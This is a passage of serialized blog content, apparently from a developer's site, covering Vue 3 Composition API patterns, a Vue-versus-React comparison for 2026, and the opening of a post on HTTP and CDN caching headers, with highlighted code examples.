,4218],{"class":2571},"template",[88,4220,2586],{"class":98},[88,4222,4223,4226,4229],{"class":90,"line":208},[88,4224,4225],{"class":98}," \u003C",[88,4227,4228],{"class":2571},"div",[88,4230,2586],{"class":98},[88,4232,4233,4235,4238,4241,4243,4246],{"class":90,"line":509},[88,4234,4225],{"class":98},[88,4236,4237],{"class":2571},"LoadingSpinner",[88,4239,4240],{"class":131}," v-if",[88,4242,805],{"class":98},[88,4244,4245],{"class":105},"\"loading\"",[88,4247,4248],{"class":98}," />\n",[88,4250,4251,4253,4256,4259,4261,4264,4267,4269,4271],{"class":90,"line":520},[88,4252,4225],{"class":98},[88,4254,4255],{"class":2571},"ErrorMessage",[88,4257,4258],{"class":131}," v-else-if",[88,4260,805],{"class":98},[88,4262,4263],{"class":105},"\"error\"",[88,4265,4266],{"class":131}," :message",[88,4268,805],{"class":98},[88,4270,4263],{"class":105},[88,4272,4248],{"class":98},[88,4274,4275,4277,4280,4283,4286,4288,4291],{"class":90,"line":526},[88,4276,4225],{"class":98},[88,4278,4279],{"class":2571},"PostList",[88,4281,4282],{"class":131}," v-else",[88,4284,4285],{"class":131}," :posts",[88,4287,805],{"class":98},[88,4289,4290],{"class":105},"\"posts ?? []\"",[88,4292,4248],{"class":98},[88,4294,4295,4298,4300],{"class":90,"line":532},[88,4296,4297],{"class":98}," \u003C/",[88,4299,4228],{"class":2571},[88,4301,2586],{"class":98},[88,4303,4304,4306,4308],{"class":90,"line":815},[88,4305,2712],{"class":98},[88,4307,4218],{"class":2571},[88,4309,2586],{"class":98},[26,4311,4313],{"id":4312},"composables-that-share-state","Composables That Share State",[19,4315,4316,4317,4320,4321,4323],{},"Composables can also share state across components. When you call ",[40,4318,4319],{},"useState"," (Vue's equivalent is calling ",[40,4322,3623],{}," outside a component, or using Pinia), all components sharing that state stay in sync:",[79,4325,4327],{"className":81,"code":4326,"language":83,"meta":84,"style":84},"// composables/useTheme.ts\nconst theme = ref\u003C'light' | 'dark'>('light')\n\nExport function useTheme() {\n function toggle() {\n theme.value = theme.value === 'light' ? 'dark' : 'light'\n document.documentElement.classList.toggle('dark', theme.value === 'dark')\n }\n\n return { theme: readonly(theme), toggle }\n}\n",[40,4328,4329,4334,4358,4362,4373,4382,4407,4429,4433,4437,4449],{"__ignoreMap":84},[88,4330,4331],{"class":90,"line":91},[88,4332,4333],{"class":346},"// composables/useTheme.ts\n",[88,4335,4336,4338,4340,4342,4344,4346,4348,4350,4352,4354,4356],{"class":90,"line":112},[88,4337,2021],{"class":94},[88,4339,2024],{"class":145},[88,4341,175],{"class":94},[88,4343,825],{"class":131},[88,4345,157],{"class":98},[88,4347,2033],{"class":105},[88,4349,833],{"class":94},[88,4351,2038],{"class":105},[88,4353,849],{"class":98},[88,4355,2033],{"class":105},[88,4357,855],{"class":98},[88,4359,4360],{"class":90,"line":119},[88,4361,116],{"emptyLinePlaceholder":115},[88,4363,4364,4366,4368,4371],{"class":90,"line":166},[88,4365,122],{"class":98},[88,4367,759],{"class":94},[88,4369,4370],{"class":131}," useTheme",[88,4372,949],{"class":98},[88,4374,4375,4377,4380],{"class":90,"line":191},[88,4376,128],{"class":94},[88,4378,4379],{"class":131}," toggle",[88,4381,949],{"class":98},[88,4383,4384,4387,4389,4391,4393,4396,4399,4401,4404],{"class":90,"line":208},[88,4385,4386],{"class":98}," theme.value ",[88,4388,805],{"class":94},[88,4390,4386],{"class":98},[88,4392,1232],{"class":94},[88,4394,4395],{"class":105}," 'light'",[88,4397,4398],{"class":94}," ?",[88,4400,2038],{"class":105},[88,4402,4403],{"class":94}," :",[88,4405,4406],{"class":105}," 'light'\n",[88,4408,4409,4412,4415,4417,4420,4423,4425,4427],{"class":90,"line":509},[88,4410,4411],{"class":98}," document.documentElement.classList.",[88,4413,4414],{"class":131},"toggle",[88,4416,135],{"class":98},[88,4418,4419],{"class":105},"'dark'",[88,4421,4422],{"class":98},", theme.value ",[88,4424,1232],{"class":94},[88,4426,2038],{"class":105},[88,4428,855],{"class":98},[88,4430,4431],{"class":90,"line":520},[88,4432,523],{"class":98},[88,4434,4435],{"class":90,"line":526},[88,4436,116],{"emptyLinePlaceholder":115},[88,4438,4439,4441,4444,4446],{"class":90,"line":532},[88,4440,194],{"class":94},[88,4442,4443],{"class":98}," { theme: ",[88,4445,1391],{"class":131},[88,4447,4448],{"class":98},"(theme), toggle }\n",[88,4450,4451],{"class":90,"line":815},[88,4452,211],{"class":98},[19,4454,4455,4456,4459,4460,4463],{},"Because ",[40,4457,4458],{},"theme"," is defined outside the composable function, it is a singleton — every component calling ",[40,4461,4462],{},"useTheme()"," shares the same reactive reference. This is a simple alternative to a full state management solution for straightforward cases.",[26,4465,4467],{"id":4466},"provide-and-inject","Provide and Inject",[19,4469,4470,4471,4474,4475,4478],{},"For passing data deeply through a component tree without prop drilling, ",[40,4472,4473],{},"provide"," and ",[40,4476,4477],{},"inject"," are the right tool:",[79,4480,4482],{"className":81,"code":4481,"language":83,"meta":84,"style":84},"// Parent component\nconst userId = ref(42)\nprovide('userId', readonly(userId))\n\n// Deep child component\nconst userId = inject\u003CRef\u003Cnumber>>('userId')\n",[40,4483,4484,4489,4507,4523,4527,4532],{"__ignoreMap":84},[88,4485,4486],{"class":90,"line":91},[88,4487,4488],{"class":346},"// Parent component\n",[88,4490,4491,4493,4496,4498,4500,4502,4505],{"class":90,"line":112},[88,4492,2021],{"class":94},[88,4494,4495],{"class":145}," userId",[88,4497,175],{"class":94},[88,4499,825],{"class":131},[88,4501,135],{"class":98},[88,4503,4504],{"class":145},"42",[88,4506,855],{"class":98},[88,4508,4509,4511,4513,4516,4518,4520],{"class":90,"line":119},[88,4510,4473],{"class":131},[88,4512,135],{"class":98},[88,4514,4515],{"class":105},"'userId'",[88,4517,483],{"class":98},[88,4519,1391],{"class":131},[88,4521,4522],{"class":98},"(userId))\n",[88,4524,4525],{"class":90,"line":166},[88,4526,116],{"emptyLinePlaceholder":115},[88,4528,4529],{"class":90,"line":191},[88,4530,4531],{"class":346},"// Deep child component\n",[88,4533,4534,4536,4538,4540,4543,4545,4548,4550,4553,4556,4558],{"class":90,"line":208},[88,4535,2021],{"class":94},[88,4537,4495],{"class":145},[88,4539,175],{"class":94},[88,4541,4542],{"class":131}," inject",[88,4544,157],{"class":98},[88,4546,4547],{"class":131},"Ref",[88,4549,157],{"class":98},[88,4551,4552],{"class":145},"number",[88,4554,4555],{"class":98},">>(",[88,4557,4515],{"class":105},[88,4559,855],{"class":98},[19,4561,4562],{},"I type the injection keys to avoid runtime errors:",[79,4564,4566],{"className":81,"code":4565,"language":83,"meta":84,"style":84},"// injection-keys.ts\nimport type { InjectionKey, Ref } from 'vue'\n\nExport const userIdKey: InjectionKey\u003CRef\u003Cnumber>> = Symbol('userId')\n\n// Provider\nprovide(userIdKey, readonly(userId))\n\n// Consumer\nconst userId = inject(userIdKey) // fully typed\n",[40,4567,4568,4573,4587,4591,4627,4631,4636,4647,4651,4656],{"__ignoreMap":84},[88,4569,4570],{"class":90,"line":91},[88,4571,4572],{"class":346},"// injection-keys.ts\n",[88,4574,4575,4577,4580,4583,4585],{"class":90,"line":112},[88,4576,95],{"class":94},[88,4578,4579],{"class":94}," type",[88,4581,4582],{"class":98}," { InjectionKey, Ref } ",[88,4584,102],{"class":94},[88,4586,3278],{"class":105},[88,4588,4589],{"class":90,"line":119},[88,4590,116],{"emptyLinePlaceholder":115},[88,4592,4593,4595,4597,4600,4602,4605,4607,4609,4611,4613,4616,4618,4621,4623,4625],{"class":90,"line":166},[88,4594,122],{"class":98},[88,4596,2021],{"class":94},[88,4598,4599],{"class":145}," userIdKey",[88,4601,142],{"class":94},[88,4603,4604],{"class":131}," InjectionKey",[88,4606,157],{"class":98},[88,4608,4547],{"class":131},[88,4610,157],{"class":98},[88,4612,4552],{"class":145},[88,4614,4615],{"class":98},">> ",[88,4617,805],{"class":94},[88,4619,4620],{"class":131}," Symbol",[88,4622,135],{"class":98},[88,4624,4515],{"class":105},[88,4626,855],{"class":98},[88,4628,4629],{"class":90,"line":191},[88,4630,116],{"emptyLinePlaceholder":115},[88,4632,4633],{"class":90,"line":208},[88,4634,4635],{"class":346},"// Provider\n",[88,4637,4638,4640,4643,4645],{"class":90,"line":509},[88,4639,4473],{"class":131},[88,4641,4642],{"class":98},"(userIdKey, ",[88,4644,1391],{"class":131},[88,4646,4522],{"class":98},[88,4648,4649],{"class":90,"line":520},[88,4650,116],{"emptyLinePlaceholder":115},[88,4652,4653],{"class":90,"line":526},[88,4654,4655],{"class":346},"// Consumer\n",[88,4657,4658,4660,4662,4664,4666,4669],{"class":90,"line":532},[88,4659,2021],{"class":94},[88,4661,4495],{"class":145},[88,4663,175],{"class":94},[88,4665,4542],{"class":131},[88,4667,4668],{"class":98},"(userIdKey) ",[88,4670,4671],{"class":346},"// fully typed\n",[19,4673,4674],{},"This pattern is excellent for things like form context (passing form state to nested form fields) or theme context (passing the current theme to all nested components).",[26,4676,4678],{"id":4677},"watchers-done-right","Watchers Done Right",[19,4680,4681],{},"Three watcher types exist and each has its use case:",[19,4683,4684,4686],{},[40,4685,3220],{}," runs when a specific source changes. Use this when you need to react to a specific value changing.",[19,4688,4689,4691],{},[40,4690,1827],{}," runs immediately and re-runs whenever any reactive dependency it accesses changes. Use this for side effects that depend on reactive state in ways that are hard to enumerate statically.",[19,4693,4694,4697,4698,4700],{},[40,4695,4696],{},"watchPostEffect"," is like ",[40,4699,1827],{}," but runs after the DOM is updated. Use this when your effect needs access to the updated DOM.",[79,4702,4704],{"className":81,"code":4703,"language":83,"meta":84,"style":84},"// Watch a specific value\nwatch(userId, async (newId) => {\n user.value = await fetchUser(newId)\n})\n\n// Watch anything the function touches\nwatchEffect(async () => {\n // Automatically re-runs when userId changes\n // because it accesses userId.value inside\n user.value = await fetchUser(userId.value)\n})\n",[40,4705,4706,4711,4731,4745,4749,4753,4758,4772,4777,4782,4795],{"__ignoreMap":84},[88,4707,4708],{"class":90,"line":91},[88,4709,4710],{"class":346},"// Watch a specific value\n",[88,4712,4713,4715,4718,4720,4722,4725,4727,4729],{"class":90,"line":112},[88,4714,3220],{"class":131},[88,4716,4717],{"class":98},"(userId, ",[88,4719,125],{"class":94},[88,4721,717],{"class":98},[88,4723,4724],{"class":138},"newId",[88,4726,728],{"class":98},[88,4728,731],{"class":94},[88,4730,452],{"class":98},[88,4732,4733,4735,4737,4739,4742],{"class":90,"line":119},[88,4734,1683],{"class":98},[88,4736,805],{"class":94},[88,4738,178],{"class":94},[88,4740,4741],{"class":131}," fetchUser",[88,4743,4744],{"class":98},"(newId)\n",[88,4746,4747],{"class":90,"line":166},[88,4748,2966],{"class":98},[88,4750,4751],{"class":90,"line":191},[88,4752,116],{"emptyLinePlaceholder":115},[88,4754,4755],{"class":90,"line":208},[88,4756,4757],{"class":346},"// Watch anything the function touches\n",[88,4759,4760,4762,4764,4766,4768,4770],{"class":90,"line":509},[88,4761,1827],{"class":131},[88,4763,135],{"class":98},[88,4765,125],{"class":94},[88,4767,995],{"class":98},[88,4769,731],{"class":94},[88,4771,452],{"class":98},[88,4773,4774],{"class":90,"line":520},[88,4775,4776],{"class":346}," // Automatically re-runs when userId changes\n",[88,4778,4779],{"class":90,"line":526},[88,4780,4781],{"class":346}," // because it accesses userId.value inside\n",[88,4783,4784,4786,4788,4790,4792],{"class":90,"line":532},[88,4785,1683],{"class":98},[88,4787,805],{"class":94},[88,4789,178],{"class":94},[88,4791,4741],{"class":131},[88,4793,4794],{"class":98},"(userId.value)\n",[88,4796,4797],{"class":90,"line":815},[88,4798,2966],{"class":98},[19,4800,4801,4802,4804,4805,4807],{},"A common mistake is using ",[40,4803,3220],{}," with a callback that accesses many reactive values, then being surprised when it does not re-run when one of those values changes. ",[40,4806,1827],{}," is often the right choice when your effect has multiple dependencies.",[26,4809,4811],{"id":4810},"typescript-integration","TypeScript Integration",[19,4813,4814],{},"The Composition API was designed with TypeScript in mind, and the integration is excellent. Props definitions with TypeScript interfaces give you full type safety in templates:",[79,4816,4818],{"className":81,"code":4817,"language":83,"meta":84,"style":84},"interface Props {\n user: User\n onSave: (user: User) => void\n}\n\nConst props = defineProps\u003CProps>()\nconst emit = defineEmits\u003C{\n save: [user: User]\n cancel: []\n}>()\n",[40,4819,4820,4829,4838,4861,4865,4869,4887,4902,4921,4931],{"__ignoreMap":84},[88,4821,4822,4824,4827],{"class":90,"line":91},[88,4823,691],{"class":94},[88,4825,4826],{"class":131}," Props",[88,4828,452],{"class":98},[88,4830,4831,4833,4835],{"class":90,"line":112},[88,4832,1508],{"class":138},[88,4834,142],{"class":94},[88,4836,4837],{"class":131}," User\n",[88,4839,4840,4843,4845,4847,4850,4852,4855,4857,4859],{"class":90,"line":119},[88,4841,4842],{"class":131}," onSave",[88,4844,142],{"class":94},[88,4846,717],{"class":98},[88,4848,4849],{"class":138},"user",[88,4851,142],{"class":94},[88,4853,4854],{"class":131}," User",[88,4856,728],{"class":98},[88,4858,731],{"class":94},[88,4860,734],{"class":145},[88,4862,4863],{"class":90,"line":166},[88,4864,211],{"class":98},[88,4866,4867],{"class":90,"line":191},[88,4868,116],{"emptyLinePlaceholder":115},[88,4870,4871,4874,4876,4879,4881,4884],{"class":90,"line":208},[88,4872,4873],{"class":98},"Const props ",[88,4875,805],{"class":94},[88,4877,4878],{"class":131}," defineProps",[88,4880,157],{"class":98},[88,4882,4883],{"class":131},"Props",[88,4885,4886],{"class":98},">()\n",[88,4888,4889,4891,4894,4896,4899],{"class":90,"line":509},[88,4890,2021],{"class":94},[88,4892,4893],{"class":145}," emit",[88,4895,175],{"class":94},[88,4897,4898],{"class":131}," defineEmits",[88,4900,4901],{"class":98},"\u003C{\n",[88,4903,4904,4907,4909,4912,4914,4916,4918],{"class":90,"line":520},[88,4905,4906],{"class":138}," save",[88,4908,142],{"class":94},[88,4910,4911],{"class":98}," [",[88,4913,4849],{"class":131},[88,4915,281],{"class":98},[88,4917,1517],{"class":131},[88,4919,4920],{"class":98},"]\n",[88,4922,4923,4926,4928],{"class":90,"line":526},[88,4924,4925],{"class":138}," cancel",[88,4927,142],{"class":94},[88,4929,4930],{"class":98}," []\n",[88,4932,4933],{"class":90,"line":532},[88,4934,4935],{"class":98},"}>()\n",[19,4937,4938],{},"No runtime validators needed when you are using TypeScript — the types are enforced at compile time.",[26,4940,4942],{"id":4941},"migrating-from-options-api","Migrating From Options API",[19,4944,4945,4946,4948],{},"If you are maintaining Vue 2 or early Vue 3 code still using the Options API, do not rewrite everything at once. The Composition API can coexist with the Options API in a codebase. Start by extracting shared logic into composables. Then gradually convert components to ",[40,4947,3198],{}," as you touch them for feature work. Complete migrations under deadline pressure introduce bugs — do it incrementally.",[19,4950,4951],{},"The Composition API is not just a different syntax for the same patterns. It enables genuinely better code organization, better TypeScript support, and better logic reuse. Once you build a few real composables, you will not want to go back.",[565,4953],{},[19,4955,4956,4957,393],{},"If you are working through a Vue 3 migration or designing the architecture for a new application, I am happy to help you think through the structure. Book a call at ",[571,4958,3126],{"href":573,"rel":4959},[575],[565,4961],{},[26,4963,581],{"id":580},[583,4965,4966,4970,4974,4978],{},[586,4967,4968],{},[571,4969,3144],{"href":3143},[586,4971,4972],{},[571,4973,646],{"href":3180},[586,4975,4976],{},[571,4977,3150],{"href":3149},[586,4979,4980],{},[571,4981,4983],{"href":4982},"/blog/erp-roi-calculation","Calculating ERP ROI: A Practical Guide for Business Decision-Makers",[611,4985,4986],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":84,"searchDepth":119,"depth":119,"links":4988},[4989,4990,4991,4992,4993,4994,4995,4996,4997,4998],{"id":3205,"depth":112,"text":3206},{"id":3239,"depth":112,"text":3240},{"id":3616,"depth":112,"text":3617},{"id":3749,"depth":112,"text":3750},{"id":4312,"depth":112,"text":4313},{"id":4466,"depth":112,"text":4467},{"id":4677,"depth":112,"text":4678},{"id":4810,"depth":112,"text":4811},{"id":4941,"depth":112,"text":4942},{"id":580,"depth":112,"text":581},"Move beyond the docs with a practical guide to Vue 3 Composition API patterns — reactive state, composables, lifecycle hooks, and real production examples.",[5001,5002],"Vue 3 Composition API","Vue 3",{},{"title":3138,"description":4999},"blog/vue-3-composition-api-guide",[3184,5002,5007],"JavaScript","1IhUSTBfd60fVD0wtV8u3ixFHcr98J5H2jcqQXPTj8w",{"id":5010,"title":3144,"author":5011,"body":5012,"category":3174,"date":627,"description":5251,"extension":629,"featured":630,"image":631,"keywords":5252,"meta":5255,"navigation":115,"path":3143,"readTime":509,"seo":5256,"stem":5257,"tags":5258,"__hash__":5260},"blog/blog/vue-3-vs-react-2026.md",{"name":9,"bio":10},{"type":12,"value":5013,"toc":5241},[5014,5017,5020,5024,5031,5037,5043,5049,5053,5059,5072,5078,5088,5094,5098,5101,5104,5107,5111,5114,5124,5134,5138,5144,5150,5156,5162,5168,5172,5178,5184,5190,5196,5200,5203,5206,5209,5211,5217,5219,5221],[19,5015,5016],{},"I have shipped production applications in both Vue 3 and React over the past several years. I have also watched this comparison become increasingly tribal — people defending their framework choice with religious fervor rather than evaluating it against project requirements. Let me try to do the latter.",[19,5018,5019],{},"The honest answer to \"Vue vs React\" in 2026 is: it depends, but there are clear signals that should guide your decision.",[26,5021,5023],{"id":5022},"where-react-wins","Where React Wins",[19,5025,5026,5030],{},[5027,5028,5029],"strong",{},"The ecosystem is larger."," There is simply no equivalent to saying this more plainly. More third-party component libraries, more tutorials, more blog posts, more Stack Overflow answers, more job candidates who know it. If you are hiring a team or need access to the widest range of UI components, React has the advantage.",[19,5032,5033,5036],{},[5027,5034,5035],{},"Next.js is more mature than Nuxt."," They are comparable for most use cases, but Next.js has been in production at scale longer. The App Router represents a more aggressive bet on React Server Components, and companies like Vercel (who build Next.js) have invested heavily in the infrastructure around it.",[19,5038,5039,5042],{},[5027,5040,5041],{},"React Native."," If your application will have a mobile counterpart, React's knowledge transfers to React Native. Vue does not have a comparable story for truly native mobile apps.",[19,5044,5045,5048],{},[5027,5046,5047],{},"Job market."," If you are a developer making a technology choice that affects your career, React is safer. The job postings are not even close. This is a real consideration when staffing a team.",[26,5050,5052],{"id":5051},"where-vue-3-wins","Where Vue 3 Wins",[19,5054,5055,5058],{},[5027,5056,5057],{},"Developer experience."," This is subjective, but it has a consistent pattern: developers who try Vue 3 after React tend to describe it as cleaner. The single-file component format keeps template, logic, and styles in one file without the JSX composition gymnastics. The Composition API is arguably more intuitive than React hooks for developers coming from other languages.",[19,5060,5061,5064,5065,483,5068,5071],{},[5027,5062,5063],{},"Less accidental complexity."," React's rendering model requires understanding re-renders, referential equality, ",[40,5066,5067],{},"useCallback",[40,5069,5070],{},"useMemo",", and why your effect runs too many times. Vue's reactive system tracks dependencies automatically. You write reactive code that does the thing, and Vue figures out what to update. There are still footguns, but fewer of them.",[19,5073,5074,5077],{},[5027,5075,5076],{},"Nuxt is excellent."," For full-stack applications, Nuxt is a genuinely excellent framework. The developer experience is clean, the conventions are sensible, and the module ecosystem handles most common requirements. For teams who are evaluating full-stack TypeScript frameworks, Nuxt vs Next.js is a closer comparison than Vue vs React.",[19,5079,5080,5083,5084,5087],{},[5027,5081,5082],{},"TypeScript integration."," Vue 3's TypeScript support is excellent, and in some ways more ergonomic than React's. Typed component props with ",[40,5085,5086],{},"defineProps\u003CProps>()"," are cleaner than React's prop typing story. Pinia has better TypeScript inference than most React state management libraries.",[19,5089,5090,5093],{},[5027,5091,5092],{},"Performance."," Both frameworks perform well in practice. Vue's reactive system avoids some of the unnecessary re-render overhead that React applications can accumulate. The difference is rarely meaningful for typical applications, but Vue has a slight edge in runtime efficiency.",[26,5095,5097],{"id":5096},"the-learning-curve-question","The Learning Curve Question",[19,5099,5100],{},"React is harder to learn correctly. Hooks have real footguns that take time to internalize. The ecosystem is larger and more fragmented — you need to make more decisions (state management, routing, data fetching) because React itself is deliberately minimal.",[19,5102,5103],{},"Vue has a gentler learning curve for developers with HTML/CSS/JavaScript backgrounds. The template syntax is familiar. The Options API (still available) provides a clearer structure for beginners. The Composition API is more advanced but not required from day one.",[19,5105,5106],{},"For a small team building its first serious frontend application, Vue's learning curve is lower and the productivity advantage is real in the first few months.",[26,5108,5110],{"id":5109},"typescript-a-closer-look","TypeScript: A Closer Look",[19,5112,5113],{},"Both frameworks have good TypeScript support in 2026, but they approach it differently.",[19,5115,5116,5117,4474,5120,5123],{},"React with TypeScript means annotating JSX props, managing generic component types, and dealing with the type complexity that comes from hooks like ",[40,5118,5119],{},"useContext",[40,5121,5122],{},"forwardRef",". It works well once you learn the patterns.",[19,5125,5126,5127,5129,5130,5133],{},"Vue 3 with TypeScript is arguably more natural. ",[40,5128,5086],{}," is clean, ",[40,5131,5132],{},"defineEmits\u003C{...}>()"," is clean, and the Composition API's explicit returns mean type inference works without ceremony. The Nuxt module ecosystem generates types for auto-imports, giving you a full IDE experience without manual type declarations.",[26,5135,5137],{"id":5136},"framework-choice-by-project-type","Framework Choice by Project Type",[19,5139,5140,5143],{},[5027,5141,5142],{},"Enterprise SPA with a large team:"," React. The talent pool is larger, training resources are abundant, and the ecosystem is more proven at enterprise scale.",[19,5145,5146,5149],{},[5027,5147,5148],{},"Marketing site or content blog with full-stack needs:"," Nuxt/Vue. The developer experience is excellent, the SEO tooling is mature, and the full-stack story with Nitro is clean.",[19,5151,5152,5155],{},[5027,5153,5154],{},"Startup with a small team who needs to move fast:"," Either works. Vue has a productivity edge early in the project; React has a larger community to draw from as you scale.",[19,5157,5158,5161],{},[5027,5159,5160],{},"Application that will become a mobile app:"," React. The React Native path is well-established.",[19,5163,5164,5167],{},[5027,5165,5166],{},"Developer portfolio or personal project:"," Choose the one you enjoy using. Both are capable. This is a legitimate signal for smaller decisions.",[26,5169,5171],{"id":5170},"the-wrong-reasons-to-choose","The Wrong Reasons to Choose",[19,5173,5174,5177],{},[5027,5175,5176],{},"\"Everyone uses React.\""," This is true and it matters for hiring, but it is not a technical reason. Many successful companies build on Vue.",[19,5179,5180,5183],{},[5027,5181,5182],{},"\"Vue is a one-person project.\""," Vue is maintained by a team and has corporate backing from Alibaba, Baidu, and others who use it in production at massive scale. This concern is outdated.",[19,5185,5186,5189],{},[5027,5187,5188],{},"\"React is faster.\""," They are comparable in practice. Neither framework is the bottleneck in real applications — your database queries and API response times are.",[19,5191,5192,5195],{},[5027,5193,5194],{},"\"Vue templates are too magical.\""," This is an opinion, not a fact. Template compilation is well-understood and the output is predictable.",[26,5197,5199],{"id":5198},"my-actual-recommendation","My Actual Recommendation",[19,5201,5202],{},"For new projects in 2026, I reach for Nuxt when I have control over the technology choice and the team is small. The developer experience is better, the full-stack story is cleaner, and the applications perform well.",[19,5204,5205],{},"For client projects where they have existing React experience or a React developer team, I use React and Next.js without hesitation — the right tool for the team is more important than my personal preferences.",[19,5207,5208],{},"The frameworks are close enough that the human factors — team experience, hiring market, existing codebase — should drive the decision in ambiguous cases. Choose deliberately, commit to it, and stop relitigating the decision every six months.",[565,5210],{},[19,5212,5213,5214,393],{},"Evaluating frameworks for a new project and want a technical opinion grounded in your specific requirements? Book a call and let's think through it together: ",[571,5215,3126],{"href":573,"rel":5216},[575],[565,5218],{},[26,5220,581],{"id":580},[583,5222,5223,5227,5231,5235],{},[586,5224,5225],{},[571,5226,3138],{"href":3137},[586,5228,5229],{},[571,5230,646],{"href":3180},[586,5232,5233],{},[571,5234,3150],{"href":3149},[586,5236,5237],{},[571,5238,5240],{"href":5239},"/blog/javascript-bundle-optimization","JavaScript Bundle Size Reduction: Code Splitting and Tree Shaking in Practice",{"title":84,"searchDepth":119,"depth":119,"links":5242},[5243,5244,5245,5246,5247,5248,5249,5250],{"id":5022,"depth":112,"text":5023},{"id":5051,"depth":112,"text":5052},{"id":5096,"depth":112,"text":5097},{"id":5109,"depth":112,"text":5110},{"id":5136,"depth":112,"text":5137},{"id":5170,"depth":112,"text":5171},{"id":5198,"depth":112,"text":5199},{"id":580,"depth":112,"text":581},"An honest, opinionated comparison of Vue 3 and React in 2026 — performance, ecosystem, TypeScript support, learning curve, and how to choose based on your actual situation.",[5253,5254],"Vue vs React","Vue 3 vs React",{},{"title":3144,"description":5251},"blog/vue-3-vs-react-2026",[3184,5259,5007],"React","bBr9iGTZMN9qVsuDO3mDc1YuwnVoXg8vV18sJPvGrAQ",{"id":5262,"title":5263,"author":5264,"body":5265,"category":3174,"date":627,"description":5810,"extension":629,"featured":630,"image":631,"keywords":5811,"meta":5814,"navigation":115,"path":5815,"readTime":509,"seo":5816,"stem":5817,"tags":5818,"__hash__":5822},"blog/blog/web-caching-strategies.md","Web Caching Strategies: HTTP Cache, CDN, and Application Cache",{"name":9,"bio":10},{"type":12,"value":5266,"toc":5801},[5267,5271,5274,5277,5301,5304,5306,5310,5313,5321,5326,5337,5342,5353,5358,5361,5366,5375,5383,5391,5401,5409,5411,5415,5418,5424,5462,5468,5479,5482,5492,5498,5501,5503,5507,5510,5515,5521,5667,5673,5679,5684,5698,5703,5714,5716,5720,5725,5731,5734,5737,5739,5743,5746,5757,5760,5762,5768,5770,5772,5798],[26,5268,5270],{"id":5269},"the-fastest-request-is-the-one-you-dont-make","The Fastest Request Is the One You Don't Make",[19,5272,5273],{},"Caching is the highest-leverage performance optimization in web development. A cached response served from browser memory is microseconds. A cached response from a CDN edge node might be 10-30ms. An uncached response from an origin server is hundreds of milliseconds or more, and it consumes server resources for every request.",[19,5275,5276],{},"The hierarchy of caching from fastest to slowest:",[5278,5279,5280,5283,5286,5289,5292,5295,5298],"ol",{},[586,5281,5282],{},"Memory cache (browser in-memory cache) — near zero latency",[586,5284,5285],{},"Disk cache (browser disk cache) — single-digit milliseconds",[586,5287,5288],{},"Service worker cache — varies, can be near memory cache speed",[586,5290,5291],{},"CDN edge cache — 10-50ms from nearby nodes",[586,5293,5294],{},"Application cache (Redis, Memcached) — 5-20ms network hop",[586,5296,5297],{},"Database query cache — depends on query complexity",[586,5299,5300],{},"Full database query — 10-500ms+ depending on complexity",[19,5302,5303],{},"Effective caching strategy means pushing as many requests as possible to higher cache layers.",[565,5305],{},[26,5307,5309],{"id":5308},"http-cache-headers","HTTP Cache Headers",[19,5311,5312],{},"HTTP caching is controlled by headers that you set on your server responses. Understanding these headers is the foundation of web caching.",[19,5314,5315,5320],{},[5027,5316,5317],{},[40,5318,5319],{},"Cache-Control"," is the primary caching directive. The values that matter most:",[19,5322,5323],{},[40,5324,5325],{},"Cache-Control: public, max-age=31536000, immutable",[19,5327,5328,5329,5332,5333,5336],{},"Use this for versioned static assets (JS bundles, CSS files, images with content-hash filenames). ",[40,5330,5331],{},"max-age=31536000"," tells browsers and CDNs to cache this resource for one year. ",[40,5334,5335],{},"immutable"," tells the browser not to revalidate the cache even when the user forces a refresh. This is correct when the filename changes on each build (content hashing) — the old URL is cached forever, and the new URL is fetched fresh.",[19,5338,5339],{},[40,5340,5341],{},"Cache-Control: no-cache",[19,5343,5344,5345,5348,5349,5352],{},"Counterintuitively, ",[40,5346,5347],{},"no-cache"," doesn't mean \"don't cache.\" It means \"always revalidate before serving from cache.\" The browser caches the response but checks with the server on every request. If the server returns ",[40,5350,5351],{},"304 Not Modified",", the browser uses the cached version. If the content changed, it downloads the new version. Use this for HTML documents.",[19,5354,5355],{},[40,5356,5357],{},"Cache-Control: no-store",[19,5359,5360],{},"This means truly don't cache: not in browser, not in CDN, not anywhere. Use this for sensitive data (account details, private documents, authentication responses).",[19,5362,5363],{},[40,5364,5365],{},"Cache-Control: private, max-age=3600",[19,5367,5368,5371,5372,393],{},[40,5369,5370],{},"private"," means only the browser can cache this, not CDNs. Use this for authenticated content that is user-specific but not sensitive enough to warrant ",[40,5373,5374],{},"no-store",[19,5376,5377,5382],{},[5027,5378,5379],{},[40,5380,5381],{},"ETag"," is a fingerprint of the response content, used for conditional requests:",[79,5384,5389],{"className":5385,"code":5387,"language":5388},[5386],"language-text","ETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n","text",[40,5390,5387],{"__ignoreMap":84},[19,5392,5393,5394,5397,5398,5400],{},"On subsequent requests, the browser sends ",[40,5395,5396],{},"If-None-Match: \"33a64df...\"",". If the content hasn't changed, the server responds with ",[40,5399,5351],{}," (no body, very fast). If it has changed, the server sends the new content with a new ETag.",[19,5402,5403,5408],{},[5027,5404,5405],{},[40,5406,5407],{},"Last-Modified"," works similarly to ETag but uses timestamps. ETags are generally preferred because timestamps have second-level precision and can create edge cases.",[565,5410],{},[26,5412,5414],{"id":5413},"cdn-configuration","CDN Configuration",[19,5416,5417],{},"A CDN (Content Delivery Network) is a distributed network of servers that cache your content close to users geographically. The three things you need to configure correctly:",[19,5419,5420,5423],{},[5027,5421,5422],{},"Cache rules by URL pattern."," Your CDN needs to know what to cache and for how long. Typical 